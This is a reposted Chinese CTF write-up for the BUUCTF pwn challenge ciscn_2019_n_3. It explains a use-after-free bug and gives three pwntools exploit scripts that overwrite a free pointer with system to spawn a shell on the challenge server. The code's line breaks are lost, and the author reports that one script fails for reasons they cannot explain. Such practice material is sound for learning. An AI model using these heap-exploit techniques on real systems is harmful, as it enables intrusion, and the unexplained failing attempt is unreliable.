[BUUCTF-pwn]——ciscn_2019_n_3
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——ciscn_2019_n_3
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——ciscn_2019_n_3
- 結構體:
這道題目就是簡單的uaf漏洞利用,由于system已經給你了,所以連泄露地址都給你省了。很時候新手練習uaf。簡單來說,就是通過堆漏洞將rec_int_free或者rec_str_free給需要為system。或者將rec_str_free給修改為system
一個不知道為什么不可以的payload, 感覺良好覺得非常可以,但是就是不行。希望有大神可以解惑一下啊
from pwn import *context(log_level='debug',arch='i386') #p = process('./ciscn_2019_n_3') p = remote('node4.buuoj.cn',28062) elf = ELF("./ciscn_2019_n_3") libc = ELF("./libc-2.27.so")def new(index,length,content):p.recvuntil("CNote > ")p.sendline('1')p.recvuntil("Index > ")p.sendline(str(index))p.recvuntil("Type > ")p.sendline('2')p.recvuntil("Length > ")p.sendline(str(length))p.recvuntil("Value > ")p.sendline(content) def delete(index):p.recvuntil("CNote > ")p.sendline('2')p.recvuntil("Index > ")p.sendline(str(index))def show(index):p.recvuntil("> ")p.sendline('3')p.recvuntil("> ")p.sendline(str(index))new(0,0x40,'aaaa') new(1,0x30,'bbbb')delete(0) delete(1) payload = flat([b'aaaa',elf.plt['system']]) #看了一下網上其他人的教程將aaaa改為bash就可以了。雖然我也不知道為什么。 new(2,0xc,payload) new(3,0x40,b'/bin/sh\x00') delete(0) p.interactive()exploit
通過Integer進行利用
from pwn import *context(log_level='debug',arch='i386') #p = process('./ciscn_2019_n_3') p = remote('node4.buuoj.cn',28062) elf = ELF("./ciscn_2019_n_3") libc = ELF("./libc-2.27.so")def new(index,number):p.recvuntil("CNote > ")p.sendline('1')p.recvuntil("Index > ")p.sendline(str(index))p.recvuntil("Type > ")p.sendline('1')p.recvuntil("Value > ")p.sendline(str(number))def delete(index):p.recvuntil("CNote > ")p.sendline('2')p.recvuntil("Index > ")p.sendline(str(index))def show(index):p.recvuntil("> ")p.sendline('3')p.recvuntil("> ")p.sendline(str(index))new(0,2) new(1,2) new(2,2) delete(0) delete(1)payload = flat([b'sh\x00\x00',elf.plt['system']])p.recvuntil("CNote > ") p.sendline('1') p.recvuntil("Index > ") p.sendline('3') p.recvuntil("Type > ") p.sendline('2') p.recvuntil("Length > ") p.sendline(str(0xc)) p.recvuntil("Value > ") p.sendline(payload)delete(0) p.interactive()這個是可以利用成功的, 搞不明白為什么將’bin/sh’寫入 0 的 string里面就不可以,通過text進行利用。和上面第一個不可以的exp明明是一個思路。搞不明白。
from pwn import *context(log_level='debug',arch='i386') #p = process('./ciscn_2019_n_3') p = remote('node4.buuoj.cn',28062) elf = ELF("./ciscn_2019_n_3") libc = ELF("./libc-2.27.so")def new(index,length,content):p.recvuntil("CNote > ")p.sendline('1')p.recvuntil("Index > ")p.sendline(str(index))p.recvuntil("Type > ")p.sendline('2')p.recvuntil("Length > ")p.sendline(str(length))p.recvuntil("Value > ")p.sendline(content) def delete(index):p.recvuntil("CNote > ")p.sendline('2')p.recvuntil("Index > ")p.sendline(str(index))def show(index):p.recvuntil("> ")p.sendline('3')p.recvuntil("> ")p.sendline(str(index))new(0,0x30,'aaaa') new(1,0x30,'bbbb')delete(0) delete(1) payload = flat([b'sh\x00\x00',elf.plt['system']]) new(3,0xc,payload)delete(0) p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_n_3的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——[ZJCTF
- 下一篇: 嵌入式Linux基础学习笔记-文件IO编